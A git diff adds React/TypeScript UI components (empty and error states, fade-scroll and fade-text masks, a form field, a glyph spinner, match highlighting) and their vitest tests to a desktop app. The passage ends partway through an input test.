diff --git a/ui-desktop/src/components/ui/empty-state.tsx b/ui-desktop/src/components/ui/empty-state.tsx
new file mode 100644
index 000000000..a034f56ce
--- /dev/null
+++ b/ui-desktop/src/components/ui/empty-state.tsx
@@ -0,0 +1,24 @@
+import { cn } from '@/lib/utils'
+
+// Canonical centered empty state (title + description). The default for "no
+// results / nothing here yet" page bodies. For richer master-detail lists that
+// want an icon + action, use PanelEmpty (overlays/panel); the file-tree's
+// inline uppercase error state is its own deliberately-distinct treatment.
+export function EmptyState({
+  title,
+  description,
+  className
+}: {
+  title: string
+  description?: string
+  className?: string
+}) {
+  return (
+    <div className={cn('grid min-h-48 place-items-center text-center', className)}>
+      <div>
+        <div className="text-sm font-medium">{title}</div>
+        {description && <div className="mt-1 text-xs text-muted-foreground">{description}</div>}
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/ui/error-state.tsx b/ui-desktop/src/components/ui/error-state.tsx
new file mode 100644
index 000000000..99863535d
--- /dev/null
+++ b/ui-desktop/src/components/ui/error-state.tsx
@@ -0,0 +1,68 @@
+import type { ReactNode } from 'react'
+
+import { Codicon } from '@/components/ui/codicon'
+import { AlertTriangle } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+// The single canonical error glyph (codicon's filled error mark). Use this
+// everywhere an error is surfaced (boundaries, dialogs, banners) so failures
+// read identically — one icon, one color, no background chip.
+export function ErrorIcon({ className, size = '1.75rem' }: { className?: string; size?: string }) {
+  return <Codicon className={cn('text-destructive', className)} name="error" size={size} />
+}
+
+// Inline error banner for detail panes (born in Messaging's platform error,
+// now shared with the MCP config pane): warn glyph + tinted rounded box.
+// For centered full-surface failures use ErrorState below instead.
+export function ErrorBanner({ children, className }: { children: ReactNode; className?: string }) {
+  return (
+    <div
+      className={cn(
+        'flex items-start gap-2 rounded-xl border border-destructive/30 bg-destructive/10 px-3 py-2 text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-destructive',
+        className
+      )}
+    >
+      <AlertTriangle className="mt-0.5 size-3.5 shrink-0" />
+      <span className="min-w-0 whitespace-pre-wrap break-words">{children}</span>
+    </div>
+  )
+}
+
+export interface ErrorStateProps {
+  /** Optional actions row/stack rendered below the copy. */
+  children?: ReactNode
+  className?: string
+  description?: ReactNode
+  /** Defaults to a destructive AlertCircle. */
+  icon?: ReactNode
+  title: ReactNode
+}
+
+// Shared, presentation-only error layout: the canonical ErrorIcon (no bg chip)
+// over a centered title + body, with an optional actions stack. Used by the
+// React error boundary, the in-dialog update error, and the boot-failure banner
+// so every failure reads the same. Title/description accept nodes so Radix
+// Dialog callers can pass DialogTitle/DialogDescription for accessibility.
+export function ErrorState({ children, className, description, icon, title }: ErrorStateProps) {
+  return (
+    <div className={cn('grid gap-5', className)}>
+      <div className="flex flex-col items-center gap-3 text-center">
+        {icon ?? <ErrorIcon />}
+
+        {typeof title === 'string' ? (
+          <h2 className="text-center text-xl font-semibold tracking-tight">{title}</h2>
+        ) : (
+          title
+        )}
+
+        {typeof description === 'string' ? (
+          <p className="max-w-prose text-center text-sm leading-5 text-muted-foreground">{description}</p>
+        ) : (
+          description
+        )}
+      </div>
+
+      {children && <div className="grid gap-2">{children}</div>}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/ui/fade-scroll.test.ts b/ui-desktop/src/components/ui/fade-scroll.test.ts
new file mode 100644
index 000000000..78d6ae242
--- /dev/null
+++ b/ui-desktop/src/components/ui/fade-scroll.test.ts
@@ -0,0 +1,52 @@
+import { describe, expect, it } from 'vitest'
+
+import { edgeMask, scrollEdges } from './fade-scroll'
+
+const box = (scrollTop: number, clientHeight: number, scrollHeight: number) => ({
+  clientHeight,
+  scrollHeight,
+  scrollTop
+})
+
+describe('scrollEdges', () => {
+  it('reports no clipped edge when the content fits', () => {
+    expect(scrollEdges(box(0, 150, 150))).toEqual({ above: false, below: false })
+  })
+
+  it('reports only the bottom at the top of a clipped list', () => {
+    expect(scrollEdges(box(0, 150, 400))).toEqual({ above: false, below: true })
+  })
+
+  it('reports both edges mid-scroll', () => {
+    expect(scrollEdges(box(100, 150, 400))).toEqual({ above: true, below: true })
+  })
+
+  it('reports only the top once scrolled to the end', () => {
+    expect(scrollEdges(box(250, 150, 400))).toEqual({ above: true, below: false })
+  })
+})
+
+describe('edgeMask', () => {
+  // The whole point of an edge-AWARE fade: content that fits is never dimmed.
+  it('is absent when nothing is clipped', () => {
+    expect(edgeMask({ above: false, below: false })).toBeUndefined()
+  })
+
+  it('leaves the first row fully opaque when nothing is hidden above it', () => {
+    expect(edgeMask({ above: false, below: true })).toBe(
+      'linear-gradient(to bottom, black, black calc(100% - 1.25rem), transparent)'
+    )
+  })
+
+  it('leaves the last row fully opaque once the bottom is reached', () => {
+    expect(edgeMask({ above: true, below: false })).toBe(
+      'linear-gradient(to bottom, transparent, black 1.25rem, black)'
+    )
+  })
+
+  it('fades both edges mid-scroll', () => {
+    expect(edgeMask({ above: true, below: true })).toBe(
+      'linear-gradient(to bottom, transparent, black 1.25rem, black calc(100% - 1.25rem), transparent)'
+    )
+  })
+})
diff --git a/ui-desktop/src/components/ui/fade-scroll.tsx b/ui-desktop/src/components/ui/fade-scroll.tsx
new file mode 100644
index 000000000..38bafe0c8
--- /dev/null
+++ b/ui-desktop/src/components/ui/fade-scroll.tsx
@@ -0,0 +1,102 @@
+import { type ReactNode, useCallback, useLayoutEffect, useRef, useState } from 'react'
+
+import { useResizeObserver } from '@/hooks/use-resize-observer'
+import { cn } from '@/lib/utils'
+
+/** How much of a clipped edge the gradient eats. */
+const FADE = '1.25rem'
+
+export interface FadeEdges {
+  above: boolean
+  below: boolean
+}
+
+/**
+ * The mask for a pair of clipped edges, or `undefined` when nothing is clipped
+ * — a list that fits must not be dimmed at all.
+ */
+export function edgeMask({ above, below }: FadeEdges): string | undefined {
+  if (!above && !below) {
+    return undefined
+  }
+
+  const top = above ? `transparent, black ${FADE}` : 'black'
+  const bottom = below ? `black calc(100% - ${FADE}), transparent` : 'black'
+
+  return `linear-gradient(to bottom, ${top}, ${bottom})`
+}
+
+/** Which edges of a scroller currently have content clipped behind them. */
+export function scrollEdges(el: Pick<HTMLElement, 'clientHeight' | 'scrollHeight' | 'scrollTop'>): FadeEdges {
+  return {
+    above: el.scrollTop > 1,
+    below: el.scrollTop + el.clientHeight < el.scrollHeight - 1
+  }
+}
+
+/**
+ * A height-capped scroller whose clipped edges fade out.
+ *
+ * The fade is a mask-image, not an overlay: it resolves against whatever
+ * background the parent happens to have, so one component works on the chat
+ * backdrop, inside a widget panel, and in a drawer without knowing any of
+ * their fills. Same technique as FadeText, on the other axis.
+ *
+ * The gradient is EDGE-AWARE — a side only fades when it actually has content
+ * clipped behind it, so a list that fits shows no gradient at all and a list
+ * scrolled to the bottom stops fading its last row. That state is tracked on
+ * scroll and on resize (via the app's shared observer, so N of these cost one
+ * delivery per frame rather than N).
+ *
+ * `deps` re-pins the scroller to the bottom when it changes — newest-at-bottom
+ * feeds want that; a plain list should leave it unset.
+ */
+export function FadeScroll({
+  children,
+  className,
+  deps,
+  maxHeight = '9rem'
+}: {
+  children: ReactNode
+  className?: string
+  deps?: unknown
+  maxHeight?: string
+}) {
+  const ref = useRef<HTMLDivElement>(null)
+  const [edges, setEdges] = useState({ above: false, below: false })
+
+  const measure = useCallback(() => {
+    const el = ref.current
+
+    if (!el) {
+      return
+    }
+
+    const next = scrollEdges(el)
+
+    setEdges(prev => (prev.above === next.above && prev.below === next.below ? prev : next))
+  }, [])
+
+  useLayoutEffect(() => {
+    if (deps !== undefined && ref.current) {
+      ref.current.scrollTop = ref.current.scrollHeight
+    }
+
+    measure()
+  }, [deps, measure])
+
+  useResizeObserver(measure, ref)
+
+  const mask = edgeMask(edges)
+
+  return (
+    <div
+      className={cn('overflow-y-auto overscroll-contain', className)}
+      onScroll={measure}
+      ref={ref}
+      style={mask ? { maskImage: mask, maxHeight, WebkitMaskImage: mask } : { maxHeight }}
+    >
+      {children}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/ui/fade-text.tsx b/ui-desktop/src/components/ui/fade-text.tsx
new file mode 100644
index 000000000..b487d87f6
--- /dev/null
+++ b/ui-desktop/src/components/ui/fade-text.tsx
@@ -0,0 +1,117 @@
+import type { ComponentProps, CSSProperties } from 'react'
+import { memo, useCallback, useRef, useState } from 'react'
+
+import { useResizeObserver } from '@/hooks/use-resize-observer'
+import { cn } from '@/lib/utils'
+
+interface FadeTextProps extends Omit<ComponentProps<'span'>, 'children'> {
+  children: React.ReactNode
+  /**
+   * Width of the fade region on the trailing edge. Accepts any CSS length.
+   * Defaults to 3rem so long strings clearly trail off — short enough to
+   * preserve readable content, long enough to feel like a deliberate fade
+   * rather than a clipped ellipsis.
+   */
+  fadeWidth?: string
+}
+
+/**
+ * Single-line text that fades out instead of truncating with an ellipsis.
+ *
+ * Uses an inline mask-image so the fade resolves against whatever the parent
+ * background is — no need to know the surface color, no after-pseudo overlap.
+ * The mask is only applied when the text is actually overflowing, so short
+ * strings render as plain text without an unnecessary gradient on their tail.
+ *
+ * Layout reads (`el.scrollWidth`) are forced reflows. To avoid measuring
+ * once per parent re-render — which during streaming happens on every token —
+ * we only re-measure when the ResizeObserver fires (real size changes), not
+ * on every `children` reference change. Wrapped in `memo` with a custom
+ * comparator so scalar-string children skip re-render entirely when the text
+ * is unchanged but the parent re-rendered.
+ */
+function FadeTextImpl({ children, className, fadeWidth = '3rem', style, ...rest }: FadeTextProps) {
+  const ref = useRef<HTMLSpanElement>(null)
+  const [overflowing, setOverflowing] = useState(false)
+
+  const measureOverflow = useCallback((entries: readonly ResizeObserverEntry[]) => {
+    const el = ref.current
+
+    if (!el) {
+      return
+    }
+
+    // `clientWidth` from the RO entry when available (already computed);
+    // `scrollWidth` is unavoidable — content width isn't part of the entry —
+    // but inside RO timing layout is already clean so the read is cheap.
+    const clientWidth = entries.find(entry => entry.target === el)?.contentRect?.width ?? el.clientWidth
+
+    // setState is identity-stable: React bails out when the boolean doesn't
+    // change, so repeated RO fires with the same answer don't re-render.
+    setOverflowing(el.scrollWidth - clientWidth > 1)
+  }, [])
+
+  useResizeObserver(measureOverflow, ref)
+
+  const maskStyle: CSSProperties = overflowing
+    ? {
+        maskImage: `linear-gradient(to right, black calc(100% - ${fadeWidth}), transparent)`,
+        WebkitMaskImage: `linear-gradient(to right, black calc(100% - ${fadeWidth}), transparent)`,
+        ...style
+      }
+    : (style ?? {})
+
+  return (
+    <span
+      {...rest}
+      className={cn('block min-w-0 max-w-full overflow-hidden whitespace-nowrap', className)}
+      ref={ref}
+      style={maskStyle}
+    >
+      {children}
+    </span>
+  )
+}
+
+function styleEqual(a: CSSProperties | undefined, b: CSSProperties | undefined) {
+  if (a === b) {
+    return true
+  }
+
+  if (!a || !b) {
+    return false
+  }
+
+  const aKeys = Object.keys(a)
+
+  if (aKeys.length !== Object.keys(b).length) {
+    return false
+  }
+
+  for (const k of aKeys) {
+    if ((a as Record<string, unknown>)[k] !== (b as Record<string, unknown>)[k]) {
+      return false
+    }
+  }
+
+  return true
+}
+
+export const FadeText = memo(FadeTextImpl, (prev, next) => {
+  if (prev.className !== next.className) {
+    return false
+  }
+
+  if (prev.fadeWidth !== next.fadeWidth) {
+    return false
+  }
+
+  if (!styleEqual(prev.style, next.style)) {
+    return false
+  }
+
+  // Cheap path: the common case is a scalar string/number child. Identity
+  // comparison is correct for any other element type (a new JSX node should
+  // force a re-render).
+  return prev.children === next.children
+})
diff --git a/ui-desktop/src/components/ui/field.tsx b/ui-desktop/src/components/ui/field.tsx
new file mode 100644
index 000000000..7f3a79c5c
--- /dev/null
+++ b/ui-desktop/src/components/ui/field.tsx
@@ -0,0 +1,41 @@
+import type { ReactNode } from 'react'
+
+import { cn } from '@/lib/utils'
+
+// Shared form-field primitive for dialog forms: a label stacked above its
+// control, with an optional inline "(optional)" tag. Pair with FieldHint for
+// help text below the control. This is the single field language for every form
+// dialog (cron, webhooks, profiles, …) — don't hand-roll label+control stacks
+// or reach for the settings-surface ListRow inside a dialog. Stack Fields in a
+// `grid gap-4` form; pair two across with `grid items-start gap-4 sm:grid-cols-2`.
+export function Field({
+  children,
+  htmlFor,
+  label,
+  optional,
+  optionalLabel
+}: {
+  children: ReactNode
+  htmlFor?: string
+  label: ReactNode
+  optional?: boolean
+  optionalLabel?: string
+}) {
+  return (
+    <div className="grid gap-1.5">
+      <label className="flex items-baseline gap-2 text-xs font-medium text-foreground" htmlFor={htmlFor}>
+        {label}
+        {optional && optionalLabel && (
+          <span className="text-[0.65rem] font-normal text-muted-foreground">{optionalLabel}</span>
+        )}
+      </label>
+      {children}
+    </div>
+  )
+}
+
+export function FieldHint({ children, error }: { children: ReactNode; error?: boolean }) {
+  return (
+    <p className={cn('text-[0.66rem] leading-4', error ? 'text-destructive' : 'text-muted-foreground')}>{children}</p>
+  )
+}
diff --git a/ui-desktop/src/components/ui/file-type-icon.tsx b/ui-desktop/src/components/ui/file-type-icon.tsx
new file mode 100644
index 000000000..fe40c4f24
--- /dev/null
+++ b/ui-desktop/src/components/ui/file-type-icon.tsx
@@ -0,0 +1,22 @@
+import { ToolIcon, type ToolIconProps } from '@/components/ui/tool-icon'
+import { codiconForFilename, codiconForLanguage } from '@/lib/markdown-code'
+
+export interface FileTypeIconProps extends Omit<ToolIconProps, 'name'> {
+  /** A code-fence language tag (e.g. `ts`, `json`). Used when no `path`. */
+  language?: string
+  /** A file path or bare name; its extension selects the icon. Wins over `language`. */
+  path?: string
+}
+
+/**
+ * Icon for a file or code language, resolved through the one mapping shared
+ * with code blocks (`codiconForFilename` / `codiconForLanguage`). Renders via
+ * `ToolIcon`, so it uses a filled glyph when one exists and falls back to the
+ * outline codicon font otherwise. Pass a `path` for file rows or a `language`
+ * for fenced code.
+ */
+export function FileTypeIcon({ language, path, ...props }: FileTypeIconProps) {
+  const name = path ? codiconForFilename(path) : codiconForLanguage(language)
+
+  return <ToolIcon name={name} {...props} />
+}
diff --git a/ui-desktop/src/components/ui/generate-button.tsx b/ui-desktop/src/components/ui/generate-button.tsx
new file mode 100644
index 000000000..80cb19172
--- /dev/null
+++ b/ui-desktop/src/components/ui/generate-button.tsx
@@ -0,0 +1,62 @@
+import type * as React from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Tip } from '@/components/ui/tooltip'
+import { Square } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+interface GenerateButtonProps extends Omit<React.ComponentProps<typeof Button>, 'children' | 'onClick'> {
+  /** True while a generation is in flight. */
+  generating: boolean
+  /** Start a generation. */
+  onGenerate: () => void
+  /** Cancel an in-flight generation. When omitted, the button just spins while
+   *  generating (for one-shots that can't be cancelled). */
+  onCancel?: () => void
+  /** Tooltip + aria label at rest (and while generating if no `generatingLabel`). */
+  label: string
+  /** Tooltip while generating (e.g. "Stop" with cancel, "Generating…" without). */
+  generatingLabel?: string
+  iconSize?: number | string
+}
+
+/** The sparkle "generate with AI" affordance — icon + tooltip, shared by the
+ *  commit-message box and the new-project idea field so they stay one pattern.
+ *  Sparkle → click generates; with `onCancel`, a Stop square appears mid-run;
+ *  without it, the sparkle spins until the one-shot resolves. */
+export function GenerateButton({
+  generating,
+  onGenerate,
+  onCancel,
+  label,
+  generatingLabel,
+  disabled,
+  iconSize = 12,
+  className,
+  ...rest
+}: GenerateButtonProps) {
+  const tip = generating ? (generatingLabel ?? label) : label
+  const cancellable = generating && !!onCancel
+
+  return (
+    <Tip label={tip}>
+      <Button
+        aria-label={tip}
+        className={cn('text-muted-foreground/80 hover:text-foreground', className)}
+        disabled={generating ? !onCancel : disabled}
+        onClick={cancellable ? onCancel : onGenerate}
+        size="icon-xs"
+        type="button"
+        variant="ghost"
+        {...rest}
+      >
+        {cancellable ? (
+          <Square className="fill-current" size={11} />
+        ) : (
+          <Codicon name="sparkle" size={iconSize} spinning={generating} />
+        )}
+      </Button>
+    </Tip>
+  )
+}
diff --git a/ui-desktop/src/components/ui/glyph-spinner.test.tsx b/ui-desktop/src/components/ui/glyph-spinner.test.tsx
new file mode 100644
index 000000000..3f991e92d
--- /dev/null
+++ b/ui-desktop/src/components/ui/glyph-spinner.test.tsx
@@ -0,0 +1,167 @@
+import { act, render, screen } from '@testing-library/react'
+import { Profiler, type ProfilerOnRenderCallback } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { PaneVisibleContext } from '@/components/pane-shell/pane-visibility'
+
+import { GlyphSpinner } from './glyph-spinner'
+
+describe('GlyphSpinner', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+    vi.spyOn(globalThis.document, 'hasFocus').mockReturnValue(true)
+  })
+
+  afterEach(() => {
+    vi.clearAllTimers()
+    vi.restoreAllMocks()
+    vi.useRealTimers()
+  })
+
+  it('advances its glyph without an update-phase React commit', () => {
+    let updateCommits = 0
+
+    const onRender: ProfilerOnRenderCallback = (_id, phase) => {
+      if (phase !== 'mount') {
+        updateCommits += 1
+      }
+    }
+
+    render(
+      <Profiler id="glyph-spinner" onRender={onRender}>
+        <GlyphSpinner spinner="braille" />
+      </Profiler>
+    )
+
+    const status = screen.getByRole('status', { name: 'Loading' })
+    expect(status.textContent).toBe('⠋')
+
+    act(() => vi.advanceTimersByTime(80))
+
+    expect(status.textContent).toBe('⠙')
+    expect(updateCommits).toBe(0)
+  })
+
+  it('does not tick while its kept-alive pane is hidden', () => {
+    const { rerender } = render(
+      <PaneVisibleContext.Provider value={false}>
+        <GlyphSpinner spinner="braille" />
+      </PaneVisibleContext.Provider>
+    )
+
+    const status = screen.getByRole('status', { name: 'Loading' })
+
+    expect(status.textContent).toBe('⠋')
+    expect(vi.getTimerCount()).toBe(0)
+
+    rerender(
+      <PaneVisibleContext.Provider value>
+        <GlyphSpinner spinner="braille" />
+      </PaneVisibleContext.Provider>
+    )
+    expect(vi.getTimerCount()).toBe(1)
+
+    act(() => vi.advanceTimersByTime(80))
+    expect(status.textContent).toBe('⠙')
+
+    rerender(
+      <PaneVisibleContext.Provider value={false}>
+        <GlyphSpinner spinner="braille" />
+      </PaneVisibleContext.Provider>
+    )
+    expect(vi.getTimerCount()).toBe(0)
+
+    const frozen = status.textContent
+    act(() => vi.advanceTimersByTime(800))
+    expect(status.textContent).toBe(frozen)
+  })
+
+  it('suspends animation while the Desktop window is inactive', () => {
+    render(<GlyphSpinner spinner="braille" />)
+
+    const status = screen.getByRole('status', { name: 'Loading' })
+    expect(vi.getTimerCount()).toBe(1)
+
+    act(() => window.dispatchEvent(new Event('blur')))
+    expect(vi.getTimerCount()).toBe(0)
+
+    const frozen = status.textContent
+    act(() => vi.advanceTimersByTime(800))
+    expect(status.textContent).toBe(frozen)
+
+    act(() => window.dispatchEvent(new Event('focus')))
+    expect(vi.getTimerCount()).toBe(1)
+
+    act(() => vi.advanceTimersByTime(80))
+    expect(status.textContent).not.toBe(frozen)
+  })
+
+  it('suspends animation while the Electron window is minimized or hidden, then resumes on restore', () => {
+    let windowStateCallback: ((payload: { isMinimized?: boolean; isVisible?: boolean }) => void) | null = null
+
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: {
+        onWindowStateChanged: vi.fn((callback: typeof windowStateCallback) => {
+          windowStateCallback = callback
+
+          return () => {
+            if (windowStateCallback === callback) {
+              windowStateCallback = null
+            }
+          }
+        })
+      }
+    })
+
+    try {
+      render(<GlyphSpinner spinner="braille" />)
+
+      const status = screen.getByRole('status', { name: 'Loading' })
+      expect(windowStateCallback).not.toBeNull()
+      expect(vi.getTimerCount()).toBe(1)
+
+      act(() => windowStateCallback?.({ isMinimized: true, isVisible: false }))
+      expect(vi.getTimerCount()).toBe(0)
+
+      const frozen = status.textContent
+      act(() => vi.advanceTimersByTime(800))
+      expect(status.textContent).toBe(frozen)
+
+      act(() => windowStateCallback?.({ isMinimized: false, isVisible: true }))
+      expect(vi.getTimerCount()).toBe(1)
+
+      act(() => vi.advanceTimersByTime(80))
+      expect(status.textContent).not.toBe(frozen)
+    } finally {
+      delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+    }
+  })
+
+  it('suspends animation while the document is hidden', () => {
+    render(<GlyphSpinner spinner="braille" />)
+
+    const status = screen.getByRole('status', { name: 'Loading' })
+    expect(vi.getTimerCount()).toBe(1)
+
+    Object.defineProperty(document, 'visibilityState', { configurable: true, value: 'hidden' })
+
+    try {
+      act(() => document.dispatchEvent(new Event('visibilitychange')))
+      expect(vi.getTimerCount()).toBe(0)
+
+      const frozen = status.textContent
+      act(() => vi.advanceTimersByTime(800))
+      expect(status.textContent).toBe(frozen)
+
+      Object.defineProperty(document, 'visibilityState', { configurable: true, value: 'visible' })
+      act(() => document.dispatchEvent(new Event('visibilitychange')))
+      expect(vi.getTimerCount()).toBe(1)
+
+      act(() => vi.advanceTimersByTime(80))
+      expect(status.textContent).not.toBe(frozen)
+    } finally {
+      Object.defineProperty(document, 'visibilityState', { configurable: true, value: 'visible' })
+    }
+  })
+})
diff --git a/ui-desktop/src/components/ui/glyph-spinner.tsx b/ui-desktop/src/components/ui/glyph-spinner.tsx
new file mode 100644
index 000000000..1fc50bbe4
--- /dev/null
+++ b/ui-desktop/src/components/ui/glyph-spinner.tsx
@@ -0,0 +1,109 @@
+import { useEffect, useRef } from 'react'
+import spinners, { type BrailleSpinnerName as SpinnerName } from 'unicode-animations'
+
+import { usePaneVisible } from '@/components/pane-shell/pane-visibility'
+import { createRendererLoopPauseController } from '@/lib/renderer-loop-pause'
+import { cn } from '@/lib/utils'
+
+export type { SpinnerName }
+
+interface NormalisedSpinner {
+  frames: readonly string[]
+  interval: number
+}
+
+// Some spinners ship multi-character frames. Pull the first cell so each
+// frame fits in one monospace box — matches how the TUI uses them.
+const FRAMES_BY_NAME: Record<SpinnerName, NormalisedSpinner> = (() => {
+  const out = {} as Record<SpinnerName, NormalisedSpinner>
+
+  for (const name of Object.keys(spinners) as SpinnerName[]) {
+    const raw = spinners[name]
+
+    out[name] = {
+      frames: raw.frames.map(frame => [...frame][0] ?? '⠀'),
+      interval: raw.interval
+    }
+  }
+
+  return out
+})()
+
+interface GlyphSpinnerProps {
+  ariaLabel?: string
+  className?: string
+  spinner?: SpinnerName
+}
+
+/**
+ * One-char glyph spinner driven by `unicode-animations` (braille, orbit, scan,
+ * etc. — pick any `spinner` name). Mirrors the spinner used by the Ink TUI so
+ * the desktop and terminal experiences read the same visually. Renders inside
+ * an `inline-flex` cell with `leading-none` and `items-center` so it sits
+ * vertically centred inside its parent's line-box.
+ */
+export function GlyphSpinner({ ariaLabel = 'Loading', className, spinner = 'braille' }: GlyphSpinnerProps) {
+  const spin = FRAMES_BY_NAME[spinner] ?? FRAMES_BY_NAME.braille!
+  const glyphRef = useRef<HTMLSpanElement>(null)
+  // Pause when this surface is a hidden (kept-alive) tab: N mounted tabs each
+  // ticking a setInterval burns CPU for pixels nobody can see.
+  const visible = usePaneVisible()
+
+  useEffect(() => {
+    const glyph = glyphRef.current
+
+    if (!visible || !glyph) {
+      return
+    }
+
+    let frame = 0
+    let timer: number | undefined
+    let pauseController: ReturnType<typeof createRendererLoopPauseController> | undefined
+    glyph.textContent = spin.frames[frame]
+
+    const stopAnimation = () => {
+      if (timer === undefined) {
+        return
+      }
+
+      window.clearInterval(timer)
+      timer = undefined
+    }
+
+    const syncAnimation = () => {
+      if (pauseController?.isPaused()) {
+        stopAnimation()
+
+        return
+      }
+
+      if (timer !== undefined) {
+        return
+      }
+
+      timer = window.setInterval(() => {
+        frame = (frame + 1) % spin.frames.length
+        glyph.textContent = spin.frames[frame]
+      }, spin.interval)
+    }
+
+    pauseController = createRendererLoopPauseController(syncAnimation)
+    syncAnimation()
+
+    return () => {
+      pauseController.dispose()
+      stopAnimation()
+    }
+  }, [spin, visible])
+
+  return (
+    <span
+      aria-label={ariaLabel}
+      className={cn('inline-flex items-center justify-center font-mono leading-none tabular-nums', className)}
+      ref={glyphRef}
+      role="status"
+    >
+      {spin.frames[0]}
+    </span>
+  )
+}
diff --git a/ui-desktop/src/components/ui/highlight-matches.test.tsx b/ui-desktop/src/components/ui/highlight-matches.test.tsx
new file mode 100644
index 000000000..2c9f158c7
--- /dev/null
+++ b/ui-desktop/src/components/ui/highlight-matches.test.tsx
@@ -0,0 +1,45 @@
+import { render } from '@testing-library/react'
+import { describe, expect, it } from 'vitest'
+
+import { HighlightMatches } from './highlight-matches'
+
+const marksOf = (container: HTMLElement) => Array.from(container.querySelectorAll('mark')).map(m => m.textContent)
+
+describe('HighlightMatches', () => {
+  it('wraps every case-insensitive occurrence in a <mark> without altering the text', () => {
+    const { container } = render(<HighlightMatches query="ro" text="Grok 4.5 Retro" />)
+
+    expect(container.textContent).toBe('Grok 4.5 Retro')
+    expect(marksOf(container)).toEqual(['ro', 'ro'])
+  })
+
+  it('renders plain text when the query is empty or does not occur in this label', () => {
+    // Non-occurrence matters: rows can match the filter on id/slug while the
+    // display label contains no occurrence — must not crash or mis-mark.
+    for (const query of ['', '   ', 'zzz']) {
+      const { container } = render(<HighlightMatches query={query} text="Fable 5" />)
+
+      expect(container.textContent).toBe('Fable 5')
+      expect(container.querySelector('mark')).toBeNull()
+    }
+  })
+
+  it('normalizes the query the same way the pickers filter (trim + lowercase)', () => {
+    const { container } = render(<HighlightMatches query="  GROK " text="grok-4.5" />)
+
+    expect(marksOf(container)).toEqual(['grok'])
+  })
+
+  it('marks every term of a multi-term query (palette AND semantics)', () => {
+    const { container } = render(<HighlightMatches query={['open', 'set']} text="Open Settings" />)
+
+    expect(container.textContent).toBe('Open Settings')
+    expect(marksOf(container)).toEqual(['Open', 'Set'])
+  })
+
+  it('merges overlapping and adjacent term ranges into one mark', () => {
+    const { container } = render(<HighlightMatches query={['gro', 'rok']} text="Grok" />)
+
+    expect(marksOf(container)).toEqual(['Grok'])
+  })
+})
diff --git a/ui-desktop/src/components/ui/highlight-matches.tsx b/ui-desktop/src/components/ui/highlight-matches.tsx
new file mode 100644
index 000000000..2d05ebc06
--- /dev/null
+++ b/ui-desktop/src/components/ui/highlight-matches.tsx
@@ -0,0 +1,91 @@
+import type { ReactNode } from 'react'
+
+import { normalize } from '@/lib/text'
+import { cn } from '@/lib/utils'
+
+/**
+ * Emphasize every case-insensitive occurrence of `query` inside `text` — the
+ * "why is this row in my filtered list" affordance for searchable pickers.
+ * Renders semantic `<mark>`s (screen readers announce them as highlighted)
+ * restyled to the accent token instead of the browser's yellow slab, so the
+ * emphasis reads as text hierarchy, not a highlighter pen.
+ *
+ * The query must mirror the surface's OWN filter semantics, or the emphasis
+ * lies about why a row matched:
+ * - a string for literal-substring filters (the model pickers) — spaces and
+ *   all, exactly what `.includes()` saw;
+ * - a string[] for per-term AND matchers (the command palette) — every term
+ *   is marked wherever it occurs, overlapping/adjacent ranges merged.
+ */
+export function HighlightMatches({
+  className,
+  query,
+  text
+}: {
+  className?: string
+  query: string | string[]
+  text: string
+}) {
+  const terms = (Array.isArray(query) ? query : [query]).map(normalize).filter(Boolean)
+
+  if (terms.length === 0) {
+    return <>{text}</>
+  }
+
+  const ranges = matchRanges(text.toLowerCase(), terms)
+
+  if (ranges.length === 0) {
+    // No occurrence (the row matched on its id/slug/keywords, not this label).
+    return <>{text}</>
+  }
+
+  const parts: ReactNode[] = []
+  let cursor = 0
+
+  for (const [start, end] of ranges) {
+    if (start > cursor) {
+      parts.push(text.slice(cursor, start))
+    }
+
+    parts.push(
+      <mark className={cn('bg-transparent font-medium text-(--ui-accent)', className)} key={start}>
+        {text.slice(start, end)}
+      </mark>
+    )
+
+    cursor = end
+  }
+
+  if (cursor < text.length) {
+    parts.push(text.slice(cursor))
+  }
+
+  return <>{parts}</>
+}
+
+/** All occurrences of every term in `lower`, as sorted, merged [start, end). */
+function matchRanges(lower: string, terms: string[]): Array<[number, number]> {
+  const raw: Array<[number, number]> = []
+
+  for (const term of terms) {
+    for (let index = lower.indexOf(term); index >= 0; index = lower.indexOf(term, index + 1)) {
+      raw.push([index, index + term.length])
+    }
+  }
+
+  raw.sort((a, b) => a[0] - b[0] || a[1] - b[1])
+
+  const merged: Array<[number, number]> = []
+
+  for (const [start, end] of raw) {
+    const last = merged[merged.length - 1]
+
+    if (last && start <= last[1]) {
+      last[1] = Math.max(last[1], end)
+    } else {
+      merged.push([start, end])
+    }
+  }
+
+  return merged
+}
diff --git a/ui-desktop/src/components/ui/input.test.tsx b/ui-desktop/src/components/ui/input.test.tsx
new file mode 100644
index 000000000..6a06b7432
--- /dev/null
+++ b/ui-desktop/src/components/ui/input.test.tsx
@@ -0,0 +1,66 @@
+import { cleanup, fireEvent, render } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { Input } from './input'
+
+afterEach(cleanup)
+
+describe('Input', () => {
+  it('renders a bare input carrying the control chrome when unadorned', () => {
+    const { getByRole } = render(<Input aria-label="plain" />)
+    const el = getByRole('textbox')
+
+    expect(el.tagName).toBe('INPUT')
+    expect(el.className).toContain('desktop-input-chrome')
+    // No group wrapper — the input is the top-level node.
+    expect(el.parentElement?.getAttribute('data-slot')).not.toBe('input-group')
+  })
+
+  it('wraps the field in a chrome-owning group and renders the prefix when adorned', () => {
+    const { getByRole, getByText } = render(<Input aria-label="amount" prefix="$" />)
+    const el = getByRole('textbox')
+    const group = el.closest('[data-slot="input-group"]')
+
+    expect(group).not.toBeNull()
+    // Chrome moves to the wrapper; the input itself goes transparent/borderless.
+    expect(group?.className).toContain('desktop-input-chrome')
+    expect(el.className).not.toContain('desktop-input-chrome')
+    expect(el.className).toContain('bg-transparent')
+
+    const prefix = getByText('$')
+    expect(group?.contains(prefix)).toBe(true)
+  })
+
